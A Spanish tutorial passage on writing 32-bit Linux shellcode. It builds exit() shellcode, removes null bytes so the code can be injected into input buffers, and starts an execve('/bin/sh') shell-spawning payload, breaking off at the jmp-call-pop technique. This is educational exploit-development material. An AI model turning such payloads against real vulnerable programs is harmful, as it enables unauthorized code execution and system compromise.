Aproximación a la Shellcode en Linux

La **shellcode** se define como un conjunto de instrucciones inyectadas, que se ejecutarán más tarde, en un programa explotado. Esta es utilizada para manipular directamente los registros y la función predeterminada de un programa, normalmente está programada en ensamblado y traducida a **opcodes** hexadecimales. En condiciones normales esta no se puede inyectar si está programada en lenguaje de alto nivel y además existen matices sutiles que si no se cumplen impedirán que se ejecute correctamente. Esto es lo que hace que programar una, sea algo difícil. En este documento se muestra realmente cómo es una shellcode, para que empieces y puedas conseguir programar la tuya propia.

El término **shellcode** deriva de su propósito original, el cual es específicamente, una parte de la explotación utilizada para colocar una **root shell**. Este es el tipo de shellcode usado más a menudo, aunque muchos programadores han refinado la forma de crearla, lo cual se explica en este documento. Como ya sabemos, la shellcode tiene que ser colocada en un área de entrada de datos del programa con lo cual éste es engañado y obligado a ejecutar las operaciones de la shellcode suministrada.

Comprender una shellcode y finalmente programar la tuya propia, por muchas razones es una habilidad esencial. Ante todo, para determinar que una vulnerabilidad es en realidad explotable, hay que explotarla primero. Por lo tanto tendrás que programar tú propia shellcode si quieres realizar una explotación a fin de probar el **bug** con tus propias herramientas.

Cómo funcionan las llamadas de sistema “System Calls”.

Programamos la shellcode porque queremos que el programa objeto funcione de una forma distinta de la que había previsto su diseñador. Una forma para manipular el programa es forzarlo para que realice una llamada de sistema **system call o syscall**. Las syscalls son un conjunto de funciones extremadamente poderosas que nos permitirán acceder a funciones específicas del sistema operativo las cuales nos dejarán: tomar una entrada al sistema, producir una salida, crear un proceso y ejecutar un archivo binario. Estas nos permiten acceder directamente el núcleo **kernel**, con lo cual nos da acceso a las funciones de nivel inferior como leer y escribir archivos. Ellas son el enlace entre el modo protegido y el modo usuario. Poner en práctica un modo protegido, en teoría, salvaguarda que las aplicaciones de usuario interfieran o comprometan al OS.

Cuando un programa en modo de usuario intenta acceder a espacios de memoria del núcleo, se genera una excepción de acceso **acces exception**, previniendo que el programa en modo usuario pueda acceder directamente al espacio de memoria del núcleo. Debido a que ciertos servicios específicos son requeridos por programas para que funcionen, las syscalls están dispuestas como un enlace entre el modo usuario normal y el modo kernel.

Existen dos métodos normales para ejecutar una syscall en Linux. Puedes utilizar cualquier librería de C con acceso a **libc**, que trabaja indirectamente, o ejecutar la syscall directamente con ensamblado cargando los argumentos apropiados en los

registros y llamando a una interrupción por software. Se crearán los accesos a libc para que los programas puedan continuar funcionando normalmente si una syscall es cambiada y proporcionar ciertas funciones muy útiles, tal como **malloc**. Como hemos mencionado anteriormente, la mayor parte de las syscalls de libc son representaciones similares de las llamadas reales del núcleo del sistema.
Las llamadas de sistema en Linux son realizadas via interrupción de software con la llamada a la instrucción **int 0x80**. Cuando int 0x80 es ejecutada por un programa en modo usuario, el CPU se cambia a modo kernel y ejecuta la función syscall. Linux difiere del método de llamadas syscall de UNIX en donde se realizan unas "fastcall" convenidas para las llamadas de sistema, las cuales utilizan los registros con un alto rendimiento de ejecución. El proceso funciona de la siguiente manera:

1. El valor específico de la syscall es cargado en EAX.

2. Los argumentos a la función syscall son colocados en otros registros.

3. La instrucción int 0x80 es ejecutada.

4. El CPU se cambia a modo kernel.

5. La función syscall es ejecutada.

Un valor entero específico está asociado a cada syscall; este valor debe ser colocado en **EAX**. Cada syscall puede tener un máximo de seis argumentos, que serán colocados en **EBX, ECX, EDX, ESI, EDI, y EPB**, respectivamente. Si se proporcionan más de seis argumentos, los restantes son pasados como una estructura de datos al primer argumento.

Una vez familiarizados de qué forma trabaja a nivel de ensamblado la syscall, sigamos sus pasos, hagamos una syscall en C, desensamblemos el programa compilado y veamos cuales son las instrucciones reales en ensamblado.
La syscall más básica es **exit()**. Como es de esperar, termina el actual proceso. Para crear un programa en C que nos proporcione una salida de un proceso, utiliza el siguiente código:

```
main()
{
        exit(0);
}
```

Compila este programa usando la opción **static** con **gcc**, esto impide el enlace dinámico, lo cual preservará nuestra syscall de salida:

```
gcc  -static  –o  exit  exit.c
```

Después, desensambla el binario:

```
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>
```

```
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show
copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...

(gdb) disas _exit
Dump of assembler code for function _exit:

0x0804e480 <_exit+0>:   mov    0x4(%esp),%ebx
0x0804e484 <_exit+4>:   mov    $0xfc,%eax
0x0804e489 <_exit+9>:   int    $0x80
0x0804e48b <_exit+11>:  mov    $0x1,%eax
0x0804e490 <_exit+16>:  int    $0x80
0x0804e492 <_exit+18>:  hlt

End of assembler dump.
```

Si miras el desensamblado de **exit**, puedes ver que tenemos dos syscalls. El valor del syscall será llamado y guardado en EAX en las líneas exit+4 y exit+11:

```
0x0804e484 <_exit+4>:   mov    $0xfc,%eax
0x0804e48b <_exit+11>:  mov    $0x1,%eax
```

Éstos corresponden a **syscall 252 , exit_group ()** y **syscall 1, exit ()**. También tenemos una instrucción que carga el argumento de nuestra syscall de salida en EBX. Este argumento previamente será empujado en la pila y con un valor de cero:

```
0x0804e480 <_exit+0>:     mov    0x4(%esp),%ebx
```

Finalmente, tenemos las dos instrucciones int 0x80 , que cambia el CPU a modo núcleo y hace que nuestras syscalls sucedan:

```
0x0804e489 <_exit+9>:   int    $0x80
0x0804e490 <_exit+16>:  int    $0x80
```

Estas son pues las instrucciones en ensamblado que corresponden a una syscall, exit().

Programar una Shellcode para una Syscall tipo exit ()

Esencialmente, tienes ahora todas las piezas necesarias para hacer una shellcode tipo **exit()**. Hemos programado la syscall deseada en C, compilado y desensamblado el binario y comprendido lo que hacen las instrucciones reales. El último paso que nos queda es dejar completamente acabada nuestra shellcode, conseguir los opcodes hexadecimales del ensamblado de ésta y probar nuestra shellcode para asegurarnos de que funciona. Veamos ahora cómo podemos hacer una pequeña optimización y finalizar nuestra shellcode.

Tamaño de la shellcode

Hay que mantener la shellcode lo más simple y comprimida como sea posible. La más pequeña, será genéricamente la más útil. Recuerda, querrás colocar esta en áreas de entrada de datos. Si encuentras un área de entrada vulnerable que sea de "n" bytes de largo, necesitarás ajustar toda ella a ese largo, más otras instrucciones para llamarla, con lo cual debe ser más pequeña que "n". Por esta razón, siempre que programes una shellcode, debes ser conciente de su tamaño.

Tenemos pues, siete instrucciones en nuestra shellcode. Siempre queremos que ella sea lo más compacta posible para encajarla en las pequeñas áreas de entrada, así que vamos a recortarla y optimizarla. Ya que ella se ejecutará, sin necesidad de código para pasarle los argumentos necesarios a esta, en este caso tomar el valor de la pila para colocarlo en EBX, tendremos que pasar manualmente este argumento. Podemos hacerlo fácilmente almacenando el valor de 0 en EBX. Además, para los propósitos de nuestra shellcode sólo necesitamos la syscall **exit()**, así que podemos ignorar tranquilamente las instrucciones de **group_exit ()** y conseguiremos el mismo efecto deseado. Por lo tanto para ganar eficacia, no añadiremos las instrucciones de **group_exit()**.

Nuestra shellcode desde un nivel alto, debe hacer lo siguiente:

1. Almacenar el valor de 0 en EBX.

2. Almacenar el valor de 1 en EAX.

3. Ejecutar la instrucción int 0x80 para producir la syscall.

Programemos estos tres pasos en ensamblado. Con lo cual tendremos un binario tipo **ELF** (Formato de ejecutable de enlace); ya que de este archivo podremos finalmente extraer los opcodes:

```
Section  .text

        global _start
_start:
        mov ebx,0
        mov eax,1
        int 0x80
```

Escríbelo en un editor de texto y lo guardas con la extensión **exit_shellcode.asm,**
No olvides cambiar las propiedades del archivo a lectura/Escritura. Ahora utilizaremos el ensamblador **nasm** para crear nuestro archivo objeto, y el enlazador de GNU para enlazar el archivo:

Colócate con la terminal en el directorio donde esté guardado dicho archivo y teclea

```
$ nasm -f elf exit_shellcode.asm
$ ld -o exit_shellcode exit_shellcode.o
```

Finalmente, estamos listos para conseguir los opcodes. En este ejemplo, utilizaremos **objdump**. La utilidad objdump es una herramienta que muestra los contenidos de archivos objeto en forma legible para nosotros. Este imprime también los opcode con precisión cuando muestra el contenido del archivo objeto, lo cual nos es útil al diseñar la shellcode. Ejecutemos nuestro programa **exit_shellcode** en objdump , de esta manera:

```
$ objdump -d exit_shellcode

exit_shellcode:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   bb 00 00 00 00          mov    $0x0,%ebx
 8048065:   b8 01 00 00 00          mov    $0x1,%eax
 804806a:   cd 80                   int    $0x80
```

Puedes ver las instrucciones de ensamblado a la derecha. Hacia la parte izquierda están nuestros opcode. Todo lo que necesitas hacer es colocar estos en un conjunto de carácteres y realizar un pequeño código C para ejecutar la cadena.

A nuestro pequeño programa C, lo llamaremos **shell**, lo escribimos en editor de texto y lo guardamos como **shell.c** así:

```
char shellcode[] =  "\xbb\x00\x00\x00\x00"
                    "\xb8\x01\x00\x00\x00"
                    "\xcd\x80";
int main()
{

int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
```

Ahora compila el programa y verifica la shellcode:

```
$ gcc -o shell shell.c
$ ./shell
$
```

Mira como el programa finaliza con normalidad. ¿Pero cómo podemos estar seguros de lo que hará en realidad nuestra shellcode? Podemos utilizar la **system call tracer (strace)** para imprimir cualquier llamada de sistema realizada a un programa en particular. Veamos strace en acción:

```
$ strace ./shell
execve("./shell", ["./shell"], [/* 39 vars */]) = 0
brk(0)                                  = 0x93fe000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or
directory)
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0xb7f75000
```

```
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or
directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=61665, ...}) = 0
mmap2(NULL, 61665, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f65000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or
directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340g\1"...,
512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1425800, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0xb7f64000
mmap2(NULL, 1431152, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE,
3, 0) = 0xb7e06000
mmap2(0xb7f5e000, 12288, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x158) = 0xb7f5e000
mmap2(0xb7f61000, 9840, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f61000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0xb7e05000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e056b0,
limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7f5e000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xb7f91000, 4096, PROT_READ)   = 0
munmap(0xb7f65000, 61665)               = 0
exit()                                  = ?
Process 5735 detached
```

Como puede observar, la última línea es nuestra syscall “exit(0)”. Si quieres, vuelve a modificar la shellcode para que ejecute la syscall “exit_group()”:

```
char shellcode[] = “\xbb\x00\x00\x00\x00”
                   “\xb8\xfc\x00\x00\x00”
                   “\xcd\x80”;

int main()
{

int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
```

La shellcode con **exit_group()** tendrá el mismo efecto. Para eso cambiamos el segundo opcode en la segunda linea de \x01 (1) por \xfc (252), el cual llamará a “exit_group()” con los mismos argumentos. Recompila el programa y ejecuta otra vez strace; verá la nueva syscall:

```
$ strace ./shell
execve("./shell", ["./shell"], [/* 39 vars */]) = 0
brk(0)                                  = 0x91ff000
```

```
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or
directory)
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0xb7f6d000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or
directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=61665, ...}) = 0
mmap2(NULL, 61665, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f5d000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or
directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\340g\1"...,
512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1425800, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0xb7f5c000
mmap2(NULL, 1431152, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE,
3, 0) = 0xb7dfe000
mmap2(0xb7f56000, 12288, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x158) = 0xb7f56000
mmap2(0xb7f59000, 9840, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f59000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0xb7dfd000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7dfd6b0,
limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7f56000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xb7f89000, 4096, PROT_READ)   = 0
munmap(0xb7f5d000, 61665)               = 0
exit_group(134520848)                   = ?
Process 6164 detached
```

Tienes ahora uno de los ejemplos más básicos de shellcoding funcionando.
Puedes ver la shellcode trabajando realmente, pero desafortunadamente, la shellcode que has creado probablemente no se puede utilizar en una explotación real.
Seguidamente se verá cómo realizar nuestra shellcode de modo que se pueda inyectar en una área de entrada.

Shellcode inyectable

El lugar más probable en el que colocarás la shellcode es en un **buffer** preparado para una entrada de usuario. Además nos interesaría, que este buffer fuera un conjunto de caracteres. Si retrocedes y miras nuestra shellcode

\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80

observarás que existen ciertos ceros (\x00). Estos ceros causarán que la shellcode quede parada cuando sea inyectada en un conjunto de caracteres porque el carácter cero se utiliza para finalizar las cadenas de caracteres. Necesitamos conseguir de una forma un poco creativa y adecuada, cambiar nuestros ceros en **opcodes** no ceros. Vamos a ver el método más popular y sencillo para realizar dicha acción. Este es reemplazar

simplemente las instrucciones ensambladas que contengan ceros por otras instrucciones que no los contengan. Retornemos y volvamos a mirar nuestras tres instrucciones en ensamblado y sus opcodes correspondientes:

```
mov ebx,0       \xbb\x00\x00\x00\x00
mov eax,1       \xb8\x01\x00\x00\x00
int 0x80        \xcd\x80
```

Las primeras dos instrucciones son las responsables de la creación de ceros. Si recordamos ensamblado, la instrucción OR exclusivo (xor) retorna ceros si ambos operandos son iguales. Esto significa que si usáramos la instrucción OR exclusivo en dos operandos los cuales sabemos que son iguales, conseguiremos un valor de 0 sin tener que usar ningún valor de 0 en una instrucción. Por lo tanto no tendremos ningún opcode nulo (ceros). Lo que haremos es, en lugar de usar la instrucción **mov** para poner el valor de EBX a 0, utilizaremos la instrucción **XOR**. Así, nuestra primera instrucción de ser

```
mov ebx,0
```

pasará a ser

```
xor ebx,ebx
```

Bien ya hemos eliminado una de las instrucciones de ceros.

Te preguntarás por qué tenemos ceros en la segunda instrucción. No colocamos ningún valor de cero en el registro, así ¿porqué tenemos ceros? Recuerda, que en esta instrucción estamos usando un registro de 32-bit. Estamos moviendo sólo un byte al registro, pero el registro EAX tiene espacio para cuatro. El resto del registro esta lleno de ceros como compensación.

Podemos solucionar este problema si recordamos que cada registro de 32-bit está dividido en dos “espacios” de 16-bit cada uno; al primer espacio de 16-bit puede accederse con el registro AX. Además, el registro AX de 16-bit puede subdividirse en los registros AL y AH. Si quiere sólo los primeros 8 bits, puede usar el registro AL. Nuestro valor binario de 1 tomará solamente 8 bits, así pues podemos ajustar nuestro valor en este registro y evitar que EAX sea rellenado con ceros. Para realizarlo cambiamos nuestra instrucción original

```
mov eax,1
```

de manera que utilice AL en lugar de EAX:

```
mov  al, 1
```

Ahora tendríamos que tener eliminados a todos los ceros. Verifiquémoslo programándolo con las nuevas instrucciones de ensamblado y veamos si ya no tenemos opcodes con ceros:

```
Section     .text

        global _start

_start:

        xor ebx,ebx
        mov al,1
        int 0x80
```

Realizamos lo mismo que antes, créalo en un editor de texto y guárdalo como exit_shellcode.asm, y acuerdate de cambiarle los permisos a lectura/escritura.
Una vez lo tenemos, lo desensamblamos usando objdump:

```
$ nasm -f elf exit_shellcode.asm
$ ld -o exit_shellcode exit_shellcode.o
$ objdump -d exit_shellcode

exit_shellcode:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:   31 db                   xor    %ebx,%ebx
 8048062:   b0 01                   mov    $0x1,%al
 8048064:   cd 80                   int    $0x80
```

Todos los opcodes nulos han sido eliminados y además hemos reducido significativamente el tamaño de la shellcode. Ahora ya la tenemos totalmente funcional y lo más importante es que tenemos una shellcode inyectable.

Colocando una Shell

El trabajo realizado para programar la shellcode exit(), es en verdad un ejercicio de aprendizaje. En la práctica, la shellcode exit() la podrás utilizar sólo en contadas ocasiones. Si lo que quieres es forzar a un proceso que tiene un área de entrada vulnerable para obtener una salida, probablemente la mayoría de ocasiones puedes realizarlo simplemente llenando toda el área de entrada con instrucciones ilegales. Esto causará que el programa rompa, con lo cual tendrá el mismo efecto que inyectando la shellcode exit(). Esto no significa que el trabajo realizado hasta ahora sea un ejercicio fútil. Puedes reutilizar tu Shellcode de salida en conjunción con otra shellcode que realizará otro tipo de trabajo con lo cual cerrará limpiamente el proceso, lo cual puede ser de mucho valor en ciertas situaciones.
Esta parte está dedicada a realizar algo más divertido, los trucos de un típico ataque para colocar una “root shell”, lo cual se puede ejecutar en tu ordenador sin ningún tipo de peligro. Al igual que en la parte previa, crearemos esta shellcode desde el principio para ejecutarse en Linux OS e IA32. Seguiremos cinco pasos para que la shellcode sea colocada con éxito:

1. Programa la shellcode deseada en un lenguaje de alto nivel.

2. Compila y desensambla el programa de la shellcode.

3. Analiza cómo funciona el programa a nivel de ensamblado.

4. Deja completamente optimizado el ensamblado para hacerlo lo más pequeño posible e inyectable.

5. Extrae los opcodes y crea la shellcode.

El primer paso es crear un programa en C para colocar nuestra shell. El método más rápido y más fácil de crear una shell es crear un nuevo proceso. En Linux un proceso se puede crear de dos maneras: Podemos crearlo de forma que sea un proceso existente y este reemplace al programa que ya se está ejecutando, o podemos hacer una copia del proceso existente y ejecutar el nuevo programa en su lugar.

El núcleo tiene mucho cuidado con respecto a acciones de este tipo, podemos dejar saber al núcleo lo que queremos hacer emitiendo llamadas de sistema tipo **fork ()** y **execve ().** Utilizando fork () y execve () en conjunto creamos una copia del proceso existente, mientras que sólo con execve () ejecutamos otro programa en lugar del existente.

Hagámoslo tan simple como sea posible y utilicemos sólo execve. El siguiente programa en C es una llamada a execve:

```
#include <stdio.h>
int main()

{

        char *happy[2];
        happy[0] = "/bin/sh";
        happy[1] = NULL;
        execve (happy[0], happy, NULL);
}
```

Deberemos compilar y ejecutar este programa para asegurarnos de que conseguimos el efecto deseado:

```
$ gcc spawnshell.c -o spawnshell
$ ./spawnshell
$
```

Como puedes ver, nuestra shell ha sido depositada. De hecho esto no es lo más interesante ahora, pero imagínate lo poderoso que sería este pequeño programa, si lo inyectáramos y ejecutáramos remotamente. Ahora, para que nuestro programa C sea ejecutado cuando se le coloque en un área de entrada vulnerable, el código debe de ser traducido a instrucciones hexadecimales crudas. Podemos hacerlo fácilmente. En primer lugar, necesitamos recompilar la shellcode usando la opción **static** con el **gcc**; de nuevo, esto impide el enlace dinámico, preservado por nuestra syscall **execve**:

$ gcc -static -o spawnshell spawnshell.c

Ahora desensamblamos el programa, de modo que podamos llegar a nuestros opcode. La salida siguiente de “objdump” ha sido recortada para no usar mucho espacio, mostraremos las partes pertinentes:

```
080481d0 <main>:
80481d0: 55                          push   %ebp
80481d1: 89 e5                       mov    %esp,%ebp
80481d3: 83 ec 08                    sub    $0x8,%esp
80481d6: 83 e4 f0                    and    $0xfffffff0,%esp
80481d9: b8 00 00 00 00              mov    $0x0,%eax
80481de: 29 c4                       sub    %eax,%esp
80481e0: c7 45 f8 88 ef 08 08        movl   $0x808ef88,0xfffffff8(%ebp)
80481e7: c7 45 fc 00 00 00 00        movl   $0x0,0xfffffffc(%ebp)
80481ee: 83 ec 04                    sub    $0x4,%esp
80481f1: 6a 00                       push   $0x0
80481f3: 8d 45 f8                    lea    0xfffffff8(%ebp),%eax
80481f6: 50                          push   %eax
80481f7: ff 75 f8                    pushl  0xfffffff8(%ebp)
80481fa: e8 f1 57 00 00              call   804d9f0 <__execve>
80481ff: 83 c4 10                    add    $0x10,%esp
8048202: c9                          leave
8048203: c3                          ret

0804d9f0 <__execve>:
804d9f0: 55                          push   %ebp
804d9f1: b8 00 00 00 00              mov    $0x0,%eax
804d9f6: 89 e5                       mov    %esp,%ebp

804d9f8: 85 c0                       test   %eax,%eax
804d9fa: 57                          push   %edi
804d9fb: 53                          push   %ebx
804d9fc: 8b 7d 08                    mov    0x8(%ebp),%edi
804d9ff: 74 05                       je     804da06 <__execve+0x16>
804da01: e8 fa 25 fb f7              call   0 <_init-0x80480b4>
804da06: 8b 4d 0c                    mov    0xc(%ebp),%ecx
804da09: 8b 55 10                    mov    0x10(%ebp),%edx
804da0c: 53                          push   %ebx
804da0d: 89 fb                       mov    %edi,%ebx
804da0f: b8 0b 00 00 00              mov    $0xb,%eax
804da14: cd 80                       int    $0x80
804da16: 5b                          pop    %ebx
804da17: 3d 00 f0 ff ff              cmp    $0xfffff000,%eax
804da1c: 89 c3                       mov    %eax,%ebx
804da1e: 77 06                       ja     804da26 <__execve+0x36>
804da20: 89 d8                       mov    %ebx,%eax
804da22: 5b                          pop    %ebx
804da23: 5f                          pop    %edi
804da24: c9                          leave
```

```
804da25: c3                    ret
804da26: f7 db                 neg    %ebx
804da28: e8 cf ab ff ff        call   80485fc <__errno_location>
804da2d: 89 18                 mov    %ebx,(%eax)
804da2f: bb ff ff ff ff        mov    $0xffffffff,%ebx
804da34: eb ea                 jmp    804da20 <__execve+0x30>
804da36: 90                    nop
804da37: 90                    nop
```

Como puedes ver, la syscall execve tiene una lista de instrucciones bastante intimidatorias para traducirlas a la shellcode. Realizarla desde el punto donde hemos quitado todos los ceros y comprimir la shellcode nos tomará un buen tiempo. Aprendamos más sobre la syscall execve para determinar exactamente lo que está realizando aquí. Un buen lugar para empezar es la página de ayuda para execve. Los primeros dos párrafos de la página de ayuda nos dá información valiosa:

int execve(const char *filename, char *const argv[], char *const envp[]);

■ ■ execve () ejecuta el programa apuntando a “filename”. “filename” tiene que ser un ejecutable binario o un script que empiece con una línea de la siguiente manera “#! intérprete arg “. En este último caso, intérprete debe ser una ruta válida a un ejecutable que no sea un script y que será llamado como el archivo “interprete [arg]”.

■ ■ “argv” es un conjunto de cadenas (strings) de argumentos que son pasados al nuevo programa. “envp”, convencionalmente con la forma key=value, las cuales son pasadas como entorno al nuevo programa. Ambos “argv” y “envp” deben terminar con un puntero nulo.

La página de ayuda nos dice que podemos asumir sin riesgo que “execve” necesita que se le pasen tres argumentos. Gracias al ejemplo anterior de la syscall exit (), ya sabemos como pasar argumentos a una syscall en Linux (cargamos seis de ellos en los registros). La página de ayuda también nos dice que estos tres argumentos deben ser todos punteros. El primer argumento es un puntero a una cadena que es el nombre del binario que queremos ejecutar. El segundo es un puntero al conjunto de argumentos, que en nuestro caso simplificado es el nombre del programa para ser ejecutado (bin / sh). El tercero y último argumento es un puntero al conjunto de entorno, que en nuestro caso puede ser cero ya que no necesitamos pasar estos datos a fin de ejecutar la syscall.

ATENCION Ya que estamos hablando de pasar punteros a strings (cadenas), necesitas recordar que todas las cadenas pasadas tienen que terminar en cero.

Para esta syscall , necesitamos colocar datos en cuatro registros; un registro tendrá el valor de la syscall execve (decimal 11 o hexa 0x0b) y los otros tres tendrán los argumentos pasados a la syscall. Una vez que tengamos los argumentos correctamente situados y en formato adecuado, podremos realizar que la syscall nos cambie a modo kernel. Usando lo aprendido de la página de ayuda, debes de tener una mejor comprensión de lo que tenemos en el desensamblado.
Comenzando con la séptima instrucción en **main()**, la dirección de la cadena **“/bin/sh”** es copiada en la memoria. Más tarde, una instrucción copiará estos datos en un registro para ser usado como un argumento para la syscall execve:

80481e0: movl $ 0x808ef88,0xffffff8(%ebp)

Después, el valor nulo es copiado en un espacio de memoria adyacente. De nuevo, este valor nulo se copiará en un registro y será usado en nuestra syscall:

80481e7: movl $ 0x0,0xffffffc(%ebp)

Ahora los argumentos son empujados en la pila de modo que estarán disponibles para cuando llamemos a execve. El primer argumento que será empujado es un nulo (cero):

80481f1: push $0x0

El siguiente argumento empujado es la dirección del conjunto de argumentos (happy[]). En primer lugar, la dirección es colocada en EAX, y entonces la dirección en EAX es empujada en la pila:

80481f3: lea 0xffffff8 (%ebp), %eax
80481f6: push %eax

Finalmente, empujamos la dirección de la cadena /bin/sh en la pila:

80481f7: pushl 0xffffff8(%ebp)

Ahora es llamada la función execve:

80481fa: call 804d9f0 <execve>

El propósito de la función execve es preparar los registros y ejecutar la interrupción. Para la optimización no relacionada con la shellcode funcional, la función de C traduce de forma interior a ensamblado. Quedémonos con lo importante para nosotros y desechemos el resto.
Las primeras instrucciones importantes cargan la dirección de la cadena “/bin/sh” en EBX:

804d9fc: mov 0x8(%ebp),%edi
804da0d: mov %edi,%ebx

Después, carga la dirección del conjunto de argumentos en ECX:

804da06: mov 0xc(%ebp),%ecx

Luego la dirección del nulo es situada en EDX:

804da09: mov 0x10(%ebp),%edx

El último registro cargado es EAX. El número de la syscall para execve, es 11, el cual es colocado en EAX:

804da0f: mov $ 0xb,%eax

Por fin, todo está a punto. La instrucción int 0x80 es llamada, conmutando a modo kernel y nuestra syscall se ejecuta:

804da14: int $ 0x80

Ahora que comprendes la teoría que desarrolla una syscall execve a nivel de ensamblado y has desensamblado un programa en C, estamos listos para crear nuestra shellcode. Del ejemplo de la shellcode de salida, sabemos ya, que podemos tener graves problemas con este código en la vida real.

ATENCION antes de construir una shellcode con una estructura imperfecta y tener el problema que tuvimos en el último ejemplo, lo realizaremos bien desde el inicio. Si requieres más practica para codificar shells (shellcoding), no tengas inconveniente en describir extensamente primero, la shellcode no inyectable.

El detestable problema de los nulos nos aparece de nuevo. Tendremos ceros cuando carguemos EAX y EDX. Tendremos también ceros al final de nuestra cadena de /bin/sh. Podemos usar los mismos trucos, modificándolos, que usamos en la shellcode exit () para colocar ceros en los registros escogiendo cuidadosamente instrucciones que no creen ceros en sus correspondientes opcodes. Esta es la parte fácil de programar una shellcode inyectable. Ahora entraremos en la parte difícil.

Como hemos mencionado antes brevemente, no podemos utilizar direcciones “hardcoded” en la shellcode. Las direcciones “hardcoded” reducen la probabilidad de que la shellcode trabaje en versiones diferentes de linux y en diferentes programas vulnerables y lo que deseas es que tu shellcode Linux sea lo más portable posible, así no tendrás que reescribirla cada vez que quieras usarla. A fin de solucionar este problema, usaremos el direccionamiento relativo. El direccionamiento relativo puede ser realizado de muchas distintas formas; en este capítulo usaremos el método de direccionamiento relativo más popular y clásico en la shellcode.

El truco para crear el direccionamiento relativo en la shellcode es poner la dirección en donde la shellcode comienza, en memoria o un elemento importante de la shellcode en un registro. Podemos entonces crear todas nuestras instrucciones tomando como referencia la distancia conocida de la dirección almacenada en el registro.

El método clásico para realizar este truco es empezar la shellcode con la instrucción de salto, que saltará más allá del cuerpo de la shellcode directamente a una instrucción de llamada. Saltar directamente a una instrucción de llamada prepara el direccionamiento relativo. Cuando se ejecuta la instrucción de llamada, la dirección de la instrucción siguiente a la instrucción de llamada será empujada en la pila. El truco es poner cualquier dirección base relativa seguida de la instrucción de llamada. Tenemos ahora de forma automática nuestra dirección base almacenada en la pila, sin tener que saber la dirección de inicio cada vez.

Todavía tenemos que ejecutar el cuerpo de la shellcode, así que teniendo la llamada a la instrucción call seguida de nuestro salto original. Esto colocará el control de ejecución directamente al comienzo de nuestra shellcode. La última manipulación es hacer que la primera instrucción siguiente al salto sea un POP ESI, el cual pase el valor

de nuestra dirección base de la pila a ESI. Ahora podemos referenciar distintos bytes en nuestra shellcode usando la distancia relativa o offset, desde ESI. Realicemos una mirada a algún pseudocódigo para ilustrar prácticamente lo explicado:

```
        jmp short      GotoCall

shellcode:
        pop            esi

…
<shellcode meat>
…

GotoCall:
        Call           shellcode
        Db             '/bin/sh'
```

La directiva DB, "**define byte**" (no es técnicamente una instrucción) nos permite anular el espacio en memoria ocupado por una cadena. Los pasos siguientes muestran lo que ocurre con este código:

1. La primera instrucción es saltar a GotoCall, con lo cual inmediatamente se ejecuta la instrucción call.

2. La instrucción call ahora guarda la dirección del primer byte de nuestra cadena (/bin/sh) en la pila.

3. La instrucción call llama al shellcode.

4. La primera instrucción en nuestra shellcode es un POP ESI, que pone el valor de la dirección de nuestra cadena en ESI.

